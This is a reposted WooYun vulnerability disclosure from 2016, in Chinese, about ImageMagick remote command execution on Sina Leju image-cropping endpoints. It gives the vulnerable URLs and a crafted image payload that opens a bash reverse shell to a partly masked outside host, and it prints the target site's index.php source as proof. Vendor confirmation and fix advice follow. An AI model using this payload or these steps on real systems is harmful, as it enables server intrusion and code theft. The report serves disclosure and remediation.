新浪乐居某服务器的两处命令执行可shell

admin 2017年5月3日19:14:38评论340 views字数 226阅读0分45秒阅读模式
摘要

2016-05-08: 细节已通知厂商并且等待厂商处理中
2016-05-08: 厂商已经确认,细节仅向厂商公开
2016-05-18: 细节向核心白帽子及相关领域专家公开
2016-05-28: 细节向普通白帽子公开
2016-06-07: 细节向实习白帽子公开
2016-06-22: 细节向公众公开

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2016-206441

漏洞标题: 新浪乐居某服务器的两处命令执行可shell

相关厂商: leju.com

漏洞作者: 李长歌

提交时间: 2016-05-08 17:34

公开时间: 2016-06-22 20:40

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 第三方框架 远程命令执行 ImageMagick

3人收藏


漏洞详情

披露状态:

2016-05-08: 细节已通知厂商并且等待厂商处理中
2016-05-08: 厂商已经确认,细节仅向厂商公开
2016-05-18: 细节向核心白帽子及相关领域专家公开
2016-05-28: 细节向普通白帽子公开
2016-06-07: 细节向实习白帽子公开
2016-06-22: 细节向公众公开

简要描述:

新浪乐居某服务器的两处命令执行,可影响乐居多个重要站点,包括主站

详细说明:

存在漏洞的连接为:

http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://img2.3lian.com/img2007/19/33/005.jpg

这是一个把远程图片剪切大小的连接,存在ImageMagick 命令执行漏洞

把远程的url地址换成自己服务器的图片,访问:

http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://101.200.**.**/out.jpg&dpc=1

新浪乐居某服务器的两处命令执行可shell

修改out.jpg

code 区域
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|bash -i >& /dev/tcp/101.200.**.**/8081 0>&1;")'
pop graphic-contextop graphic-context

然后再访问http://supports.house.sina.com.cn/bbs/img.php?w=140&h=105&m=1&url=http://101.200.**.**/out.jpg&dpc=1

反弹一个shell回来了

新浪乐居某服务器的两处命令执行可shell

漏洞证明:

这个服务器简单看了下,是乐居一个重要的服务器,放了乐居的各种网站都在上面

新浪乐居某服务器的两处命令执行可shell

这些网站的源代码全部可读,其中乐居主站目录为:/data1/vhosts/www.leju.com/htdocs

view-source:index.php

code 区域
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
require_once $_SERVER['DOCUMENT_ROOT'].'/framework/include/function.php';
$limittime = 1451376000;//29号下午4点上线
if(time() > $limittime)
{
require_once $_SERVER['DOCUMENT_ROOT'].'/framework/include/expand.fun.php';
}

//域名跳转
if ( $_SERVER['HTTP_HOST'] == 'eju.com' || $_SERVER['HTTP_HOST'] == 'esalse.leju.com' )
{
header("Location:http://www.eju.com/{$_SERVER['REQUEST_URI']}");
die;
}
$source_arr = array();
$sourcestr = '';
isset($_GET['source']) ? array_push($source_arr, 'source='.$_GET['source']) : '';
isset($_GET['source_ext']) ? array_push($source_arr, 'source_ext='.$_GET['source_ext']) : '';
if(!empty($source_arr))
{
$sourcestr = implode('&', $source_arr);
}
//跳转到leju.com的域名
if ( $_SERVER['HTTP_HOST'] == 'leju.cn' || $_SERVER['HTTP_HOST'] == 'www.leju.cn' || $_SERVER['HTTP_HOST'] == 'ileju.cn' ||$_SERVER['HTTP_HOST'] == 'www.ileju.cn' ||$_SERVER['HTTP_HOST'] == 'www.ileju.com' ||$_SERVER['HTTP_HOST'] == 'ileju.com')
{
if(!empty($sourcestr))
{
header("Location:http://www.leju.com?".$sourcestr);
}
else
{
header("Location:http://www.leju.com");
}
die;
}

//参数转义处理
$_POST = daddslashes($_POST);
$_GET = daddslashes($_GET);
$_COOKIE = daddslashes($_COOKIE);
$_REQUEST = daddslashes($_REQUEST);


//解决XSS漏洞
$_p = array();
$_g = array();
$_c = array();
$array = array('<','>');
$array_c = array("user()", "sleep(", "length(", "insert", "select",'<','>',"'","(",")");
$pgc = array("//",'<','>','</');

另外的一处命令执行为

http://supports.jiaju.sina.com.cn/api/img_publish.php?dpc=1&w=96&h=96&m=0&s=http://101.200.**.**/out.jpg 类似的就不重复提交了。

修复方案:

1 修复ImageMagick漏洞

2 那两个连接还存在SSRF一起修复下吧。

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-08 20:34

厂商回复:

非常感谢您对乐居的关注,我们已经对该项目进行处理,请测试

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin